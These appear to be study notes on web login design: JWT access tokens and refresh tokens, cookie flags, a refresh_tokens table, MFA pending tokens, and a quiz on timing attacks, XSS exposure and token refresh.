What Gets Issued After Login
Both password login and OAuth login end with "issue session." What exactly does that mean? What does the
server create, what does it send back, and how does the client store it?
Two Approaches — and Why Production Uses Neither Alone
Approach 1 — Pure Session Token:
Server creates: session_id = SecureRandom.hex(32)
Stores in Redis: SET session:b7e3f1a9d2c4e8f0 {user_id: 1, role:
merchant_admin} EX 86400
Sends to client: Set-Cookie: session_id=b7e3f1a9d2c4e8f0; HttpOnly; Secure
Every API request:
Browser sends cookie automatically
Server does Redis lookup -> gets user context -> ~1ms
Problem at scale:
10,000 requests/second = 10,000 Redis reads/second
Adds latency and Redis load on every single API call
Approach 2 — Pure JWT:
Server creates signed JWT: { user_id, role, exp: now+24h }
Client sends: Authorization: Bearer <jwt>
Server verifies signature locally -- no DB, no Redis, zero network calls
Problem:
Cannot revoke a JWT before it expires.
User changes password -> you want to log them out everywhere.
Cannot. JWT is valid until exp. Only fix: short expiry.
Short expiry (15 min) -> users get logged out constantly.
Production hybrid (what Razorpay uses):
Short-lived JWT access token:
expires in 15 minutes
stateless, no Redis lookup per request
acceptable revocation window
Long-lived refresh token:
expires in 30-90 days
opaque random string, stored server-side
used ONLY to get new access tokens
can be revoked instantly
What Gets Issued — Exact Response
POST /auth/login
(after credentials verified, MFA passed)
HTTP 200
Set-Cookie:
refresh_token=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1
b2;
HttpOnly; Secure; SameSite=Strict; Max-Age=7776000
Body:
{
"access_token": "eyJhbGciOiJSUzI1NiJ9.eyJ1c2VyX2lkIjoxfQ.sig",
"token_type":
"Bearer",
"expires_in":
900
<- seconds
}
Two things issued. Two delivery mechanisms. Two storage locations:
refresh_token -> HttpOnly cookie (browser manages, JS cannot read)
access_token -> response body
(JS reads and stores in memory)
The Three Cookie Flags — Why Each Is Mandatory
HttpOnly:
Prevents JavaScript from reading the cookie.
document.cookie does NOT return HttpOnly cookies.
Why: XSS attack injects JS to steal cookies.
If refresh token is HttpOnly, XSS cannot read it.
Attacker gets script execution but not the token.
Secure:
Cookie only sent over HTTPS, never HTTP.
Why: prevents interception on unencrypted connections.
On coffee shop WiFi with HTTP, attacker sniffs traffic.
Secure flag means the cookie never travels unencrypted.
SameSite=Strict:
Cookie only sent on requests originating from razorpay.com.
Cross-site requests (from attacker.com) do not include the cookie.
Why: prevents CSRF. Attacker's page cannot call POST /auth/refresh
on the victim's behalf -- browser withholds cookie on cross-origin
requests.
SameSite=Lax (alternative):
Cookie sent on top-level navigation (clicking a link)
but NOT on cross-origin sub-requests (image loads, AJAX).
Less strict than Strict. Fine for less sensitive cookies.
Use Strict for auth tokens.
Access Token — Stored in JS Memory, Refresh Token in HttpOnly Cookie
The access token travels in the response body, not a cookie. JavaScript reads it and stores it in a memory variable
-- not localStorage, not sessionStorage, just a variable in the running app.
Storage summary:
refresh_token -> HttpOnly cookie
Browser stores and sends automatically
JS cannot read it (document.cookie excludes HttpOnly)
Sent only to POST /auth/refresh
Persists across page refreshes and tab closes
access_token
-> JavaScript memory variable
JS stores it: let accessToken = response.access_token
JS sends it on every API call:
Authorization: Bearer <accessToken>
Disappears on page refresh or tab close
Why not store access_token in a cookie?
API is on api.razorpay.com, frontend on razorpay.com.
Cookies are domain-scoped -- cross-subdomain sharing is complex.
Authorization header is cleaner for API calls.
Why not store access_token in localStorage?
localStorage is readable by any JS on the page.
XSS attack -> attacker reads localStorage -> steals access token.
Memory variable disappears on tab close -> shorter attack window.
The 15-minute access token window is a real, accepted risk. If an attacker somehow obtains a valid access_token,
they can make API calls as the user for up to 15 minutes. This is intentional — it is a calibrated trade-off, not an
oversight.
Why 15 minutes is accepted in production:
Alternative: pure JWT with 24h expiry
-> 24 hours of exposure if stolen. Cannot revoke. Logout is meaningless.
Alternative: very short JWT (1 min)
-> POST /auth/refresh every minute = constant traffic, poor UX.
Alternative: pure session (no JWT)
-> Redis lookup on every API request. 10,000 req/sec = 10,000 Redis
reads/sec.
15 minutes: short enough to limit damage, long enough to avoid constant
refreshes.
Defense in depth -- why the 15-min window is survivable:
Layer 1 -- HTTPS + HSTS:
access_token never travels in plaintext.
HSTS forces HTTPS even if user types http://.
Man-in-the-middle interception is eliminated.
Layer 2 -- Memory storage (not localStorage):
access_token disappears on tab close.
XSS on a different tab cannot reach it.
localStorage persists forever and is readable by any JS on the domain.
Layer 3 -- Content Security Policy (CSP):
HTTP header that restricts which scripts can run on razorpay.com.
Example: Content-Security-Policy: script-src 'self'
Prevents attacker from injecting external scripts.
Reduces XSS attack surface significantly.
Layer 4 -- HttpOnly refresh token:
Even if XSS runs, it cannot steal the refresh_token cookie.
Attacker gets 15 minutes at most. Cannot extend access.
After expiry: attacker is completely locked out.
Layer 5 -- SameSite=Strict on refresh token:
Cross-site requests cannot use the refresh_token cookie.
CSRF on POST /auth/refresh is impossible.
Layer 6 -- JTI claim + Redis blocklist (emergency revocation):
Every JWT has a jti (JWT ID) claim:
{ "sub": "1", "exp": 1718352900, "jti": "8f3a9b2c" }
If token theft is confirmed:
Redis: SET blocklist:8f3a9b2c = true EX 900 (15 min)
Every request: check if jti in blocklist -> reject if yes
Cost: one Redis read per request (sub-millisecond)
Used only when theft is detected, not on normal logout.
Layer 7 -- Anomaly detection:
Unusual API patterns trigger alerts:
Same token used from two different countries simultaneously
Sudden spike in high-value API calls
Access patterns inconsistent with user history
Security team can revoke the specific jti immediately.
The 15-min window requires an attacker to:
(a) Find and exploit an XSS vulnerability on razorpay.com (bypassing CSP)
OR intercept HTTPS traffic (bypassing HSTS)
AND act within the 15-minute window
AND not trigger anomaly detection
All simultaneously. The practical risk is very low.
The refresh_tokens Table
The refresh token is stored in the DB, not Redis. This is the same hash-not-raw pattern as email_verifications: the
raw token travels in the cookie, SHA256 of it lives in the DB. One row per device per user. Each row can be
revoked independently.
CREATE TABLE refresh_tokens (
id
BIGSERIAL
PRIMARY KEY,
user_id
BIGINT
NOT NULL REFERENCES users(user_id),
token_hash
VARCHAR(255) NOT NULL UNIQUE, <- SHA256(raw_token)
device_id
VARCHAR(255),
<- "chrome-mac",
"iphone-14"
expires_at
TIMESTAMPTZ NOT NULL,
<- 30-90 days from now
revoked_at
TIMESTAMPTZ,
<- NULL until logged out
created_at
TIMESTAMPTZ NOT NULL DEFAULT now()
);
token_hash:
same pattern as email_verifications.
raw token in cookie, SHA256 in DB.
DB compromise does not yield usable refresh tokens.
device_id:
allows "active sessions" page in Settings.
SELECT * FROM refresh_tokens
WHERE user_id = ? AND revoked_at IS NULL
shows all logged-in devices.
revoked_at:
device
SET revoked_at = now() WHERE id = ?
<- log out one
SET revoked_at = now() WHERE user_id = ?
<- log out
everywhere
On POST /auth/refresh:
incoming raw_token from cookie
hash = SHA256(raw_token)
SELECT * FROM refresh_tokens
WHERE token_hash = hash
AND revoked_at IS NULL
AND expires_at > now()
Found -> issue new access_token (15 min JWT)
Not found -> 401, force re-login
DB State After Successful Login
users:
user_id
1
email
ayush@gmail.com
refresh_tokens:
id user_id token_hash
created_at
1
1
SHA256(tok)
2024-06-14
status
active
updated_at
2024-06-14 09:00:00
device_id
expires_at
revoked_at
chrome-mac
2024-09-12
NULL
auth_credentials: unchanged
Redis:
No session stored -- JWT is stateless, no Redis lookup per request
Refresh token lives in DB (one row per device)
JTI blocklist entries only when token theft is confirmed
Rate limit keys expire naturally
The production hybrid: refresh token (30-90 days) in HttpOnly cookie stored as SHA256 hash in DB,
access token (15 min) in JS memory. The 15-minute window is a deliberate trade-off — short
enough to limit damage, long enough to avoid constant refreshes. Seven defense layers (HTTPS,
CSP, memory storage, HttpOnly, SameSite, JTI blocklist, anomaly detection) make exploiting that
window extremely difficult in practice. Emergency revocation via JTI blocklist gives instant response
when theft is confirmed.
MFA — Concept, When It Triggers, Pending MFA State
What MFA Is
Single-factor auth: prove identity one way. Password. Done.
Multi-factor auth: prove identity two ways, from two different categories:
Something you know:
password, PIN
Something you have:
phone (OTP), authenticator app (TOTP), hardware key
Something you are:
fingerprint, face ID (biometrics)
MFA requires at least two factors from DIFFERENT categories.
Password + TOTP
= something you know + something you have = MFA
Password + security Q
= something you know + something you know = NOT
MFA
Why it matters:
Leaked password DB gives attacker "something you know."
They cannot log in if they also need "something you have" -- your phone.
The second factor must be physically separate from the first.
When MFA Triggers
Always required:
High-value merchant accounts (high transaction volume)
Admin accounts (support_agent, super_admin)
Any account that explicitly enabled MFA in settings
Conditionally required (risk-based):
New device or browser (device fingerprint not seen before)
New geographic location (IP from a different country)
High-risk action (large transfer, changing bank account details)
Suspicious pattern (multiple failed attempts before success)
Never required:
Low-risk read actions on trusted devices
Accounts with MFA disabled and no admin flag
The Design Problem — State Between Two Steps
Without MFA: login is one step. Verify credentials — issue session. With MFA: login is two steps. Verify
credentials — verify second factor — issue session. After step 1 passes, the user is not fully authenticated yet.
The server needs to remember that step 1 passed when step 2 arrives. A naive approach gets this dangerously
wrong.
Naive approach:
After credentials pass -> store user_id in session -> return 200
Client submits TOTP code -> server checks session -> verify TOTP
Problem: the session is issued BEFORE MFA completes.
If the TOTP endpoint has a bug or is bypassed,
the user is already logged in with just their password.
MFA provides zero protection.
The Pending MFA Token
The correct design: issue a short-lived, limited-scope token after step 1. This token proves step 1 passed but
grants access to nothing. It can only be used at one endpoint: POST /auth/mfa/verify. It expires in 5 minutes and
is single-use.
--- SecureRandom.hex(16) explained --hex(16) = generate 16 random bytes, encode each as 2 hex chars
16 bytes x 2 = 32 hex characters = 128 bits of randomness
Example: SecureRandom.hex(16)
-> "f3a9b2c1d4e5f6a7b8c9d0e1f2a3b4c5"
At 1 billion guesses/second: 2^128 possibilities = 10^22 years to find.
Effectively unguessable. Used for all short-lived tokens.
-------------------------------------Step 1: POST /auth/login { email, password }
Credentials verified. MFA required for this account.
pending_mfa_token = SecureRandom.hex(16)
= "f3a9b2c1d4e5f6a7b8c9d0e1f2a3b4c5"
Redis:
SET mfa_pending:f3a9b2c1d4e5f6a7b8c9d0e1f2a3b4c5
= { user_id: 1, created_at: "2024-06-14T09:00:00Z" }
EX 300
(5 minutes)
Response:
HTTP 200
{
"mfa_required":
true,
"pending_mfa_token": "f3a9b2c1d4e5f6a7b8c9d0e1f2a3b4c5",
"mfa_type":
"totp"
}
No session. No access token. Nothing else.
Step 2: POST /auth/mfa/verify
{
"pending_mfa_token": "f3a9b2c1d4e5f6a7b8c9d0e1f2a3b4c5",
"totp_code":
"847291"
}
Server:
GET mfa_pending:f3a9b2c1d4e5f6a7b8c9d0e1f2a3b4c5
-> { user_id: 1, created_at: ... } <- found, not expired
Verify TOTP code "847291" against user totp_secret (CS-TOTP)
Valid:
DELETE mfa_pending:f3a9b2c1d4e5f6a7b8c9d0e1f2a3b4c5
Issue full session (access_token + refresh_token)
Return HTTP 200 with tokens
<- single use
Invalid:
Increment MFA attempt counter in Redis
Return HTTP 401 "Invalid code"
Do NOT delete pending token (user can retry)
After 5 failures: DELETE pending token, force re-login
Why 5 Minutes for the Pending Token
Too long (30 min):
Attacker steals credentials -> gets pending_mfa_token.
Has 30 minutes to social-engineer the TOTP code from the victim.
("Hi, this is Razorpay support. Please share the code on your screen.")
Too short (30 seconds):
Legitimate user takes 45 seconds to open authenticator app.
Token expired. Login fails. Frustrating.
5 minutes:
Enough time for a normal user.
Short enough to limit social engineering window.
Industry standard for MFA pending tokens.
Full Two-Step Login Flow — Actor by Actor
Client
API Server
Redis
|
|
|
| POST /auth/login
|
|
| {email, password}
|
|
|----------------------->|
|
|
| Verify credentials
|
|
| MFA required?
|
|
| pending = SecureRandom
|
|
| .hex(16)
|
|
| = "f3a9b2c1..."
|
|
| SET mfa_pending:f3a9b2c1 |
|
| EX 300
|
|
|-------------------------->|
| 200 {
|
|
| mfa_required: true,
|
|
| pending_mfa_token:
|
|
| "f3a9b2c1...",
|
|
| mfa_type: "totp"
|
|
| }
|
|
|<-----------------------|
|
|
|
|
| [User opens
|
|
| authenticator app,
|
|
| reads 847291]
|
|
|
|
|
| POST /auth/mfa/verify |
|
| {pending_mfa_token:
|
|
| "f3a9b2c1...",
|
|
| totp_code: "847291"} |
|
|----------------------->|
|
|
| GET mfa_pending:f3a9b2c1 |
|
|-------------------------->|
|
| { user_id: 1 }
|
|
|<--------------------------|
|
| Verify TOTP code
|
|
| DELETE mfa_pending:f3a9.. |
|
|-------------------------->|
|
| Issue full session
|
| 200 {access_token,
|
|
| Set-Cookie:
|
|
| refresh_token}
|
|
|<-----------------------|
|
DB State During MFA Flow
After Step 1 (credentials verified, MFA pending):
Redis:
mfa_pending:f3a9b2c1d4e5f6a7b8c9d0e1f2a3b4c5
= { user_id: 1, created_at: "2024-06-14T09:00:00Z" }
EX 300
users:
unchanged
auth_credentials: unchanged
refresh_tokens:
no row yet
After Step 2 (TOTP verified, full session issued):
Redis:
mfa_pending:f3a9b2c1d4e5f6a7b8c9d0e1f2a3b4c5
refresh_tokens:
id user_id token_hash
1
1
SHA256(tok)
device_id
chrome-mac
users:
user_id
1
status
active
email
ayush@gmail.com
-> DELETED
expires_at
2024-09-12
revoked_at
NULL
updated_at
2024-06-14 09:01:30
MFA splits login into two steps with a pending token between them. The pending token
(SecureRandom.hex(16) = 128 bits, 5-minute TTL) proves step 1 passed but grants access to nothing
— it can only be used at POST /auth/mfa/verify. Issuing a full session before MFA completes is the
critical mistake: the second factor provides no protection if the session already exists.
One-Paragraph Summary
Login is the mirror image of signup — where signup creates identity and credentials, login looks them up and
verifies them. Password login uses a single JOIN query across users and auth_credentials, always runs
bcrypt.compare() even on an email miss using a pre-computed DUMMY_HASH to prevent timing attacks, returns
identical errors for all failure modes to prevent email enumeration, checks account status only after credentials
pass, and tracks rate limits in Redis per email and per IP to cover both targeted brute force and credential
stuffing. OAuth login skips credential verification entirely — Google's RSA-signed ID token is the proof — and has
zero DB writes on success beyond the session itself. After either login path completes, two things are issued: a
short-lived JWT access token (15 min, stored in JS memory, sent as Authorization header on every API call) and a
long-lived refresh token (30-90 days, stored as SHA256 hash in the refresh_tokens table, delivered via
HttpOnly+Secure+SameSite=Strict cookie so JavaScript can never read it). The 15-minute window is a real
accepted risk made survivable by seven defense layers: HTTPS+HSTS, CSP, memory storage, HttpOnly cookie,
SameSite=Strict, JTI blocklist for emergency revocation, and anomaly detection. When MFA is required, a
pending MFA token — 128-bit random value, 5-minute TTL in Redis — sits between credential verification and
full session issuance, ensuring the second factor cannot be bypassed even if the MFA endpoint has a bug.
Quiz — Answers
Q1. Two users: User A types the wrong password for a registered email. User B types any
password for an email that does not exist. Both get the same 401. Without DUMMY_HASH, how
does an attacker tell them apart?
Response timing. User B (email not found): SELECT returns NULL, server returns 401 immediately.
~2ms. User A (wrong password): SELECT returns a row, server runs bcrypt.compare() (~100ms), then
returns 401. Same error message, ~98ms timing difference. Attacker measures response time: ~2ms
= email not registered, ~100ms = email registered. With a list of 1 million emails, attacker maps
which are Razorpay users in minutes. DUMMY_HASH fix: always run bcrypt.compare() regardless of
SELECT result. Both paths now take ~100ms. Timing channel closed.
Q2. After OAuth login succeeds, how many rows are written to the DB? Which tables? What
exactly is written?
Exactly one row. One table. The refresh_tokens table gets a new row: token_hash =
SHA256(raw_refresh_token), device_id, expires_at (30-90 days), revoked_at = NULL. users:
unchanged (updated_at may update but no new row). auth_credentials: unchanged (existing google
row is looked up, not modified). email_verifications: not touched (Google verified the email, no
verification step needed). Zero writes for identity. Zero for credentials. Only the session is new.
Q3. refresh_token cookie is HttpOnly and SameSite=Strict. Attacker runs XSS on Razorpay's login
page. What can they steal? What can they not steal? Why?
XSS runs JavaScript on razorpay.com. The script executes successfully. What the attacker CAN steal:
the access_token from JS memory (it is a JS variable, XSS can read JS variables). Valid for up to 15
minutes. What they CANNOT steal: the refresh_token cookie. HttpOnly means document.cookie
does not return HttpOnly cookies. XSS gets script execution but cannot read the cookie.
SameSite=Strict prevents CSRF (cross-origin requests cannot include the cookie) but does NOT stop
XSS — XSS runs on razorpay.com itself, which is same-site. Damage is bounded: attacker has at most
15 minutes before the access_token expires. They cannot refresh (no cookie) so access is
permanently lost after expiry.
Q4. User enables MFA, logs in, gets pending_mfa_token, closes browser tab before submitting
TOTP. What happens in Redis? Does anything break? Can they log in again?
Redis still holds the key: mfa_pending:f3a9b2c1... with EX 300 (5 minutes). Redis does not know the
browser closed. The user has lost the pending_mfa_token value — it was in the response body,
browser closed, JS memory cleared. They cannot submit it even if they reopen the tab. After 5
minutes: Redis automatically deletes the key. Nothing breaks. No cleanup needed. Can they log in
again? Yes, immediately. POST /auth/login with their credentials issues a brand new
pending_mfa_token. New Redis key, new 5-minute window. Old key expires harmlessly on its own.
Q5. JWT access token expires in 15 minutes. At minute 16, user makes an API call. Walk through
exactly what happens — client and server — until the request succeeds.
Minute 16: User's JS sends:
GET /api/payments
Authorization: Bearer <expired_access_token>
Server verifies JWT:
exp = 1718352900
now = 1718352960 <- now > exp
JWT is expired -> return 401 { "error": "token_expired" }
Client JS intercepts the 401 (axios interceptor / fetch wrapper):
Automatically calls POST /auth/refresh
Browser includes refresh_token cookie automatically (JS never sees it)
Server receives POST /auth/refresh:
Reads refresh_token from HttpOnly cookie
hash = SHA256(incoming_raw_token)
SELECT * FROM refresh_tokens
WHERE token_hash = hash
AND revoked_at IS NULL
AND expires_at > now()
Row found -> valid
Issues new access_token: JWT, exp = now + 900s
Returns: { "access_token": "eyJhbGciOiJSUzI1NiJ9.new_payload.sig" }
Client JS:
accessToken = newResponse.access_token <- updated in memory
Retries original request:
GET /api/payments
Authorization: Bearer <new_access_token>
Server verifies new JWT: valid -> returns payment data -> 200 OK
User never saw any of this. Entire flow transparent.
Extra latency: one round trip to POST /auth/refresh (~50-100ms)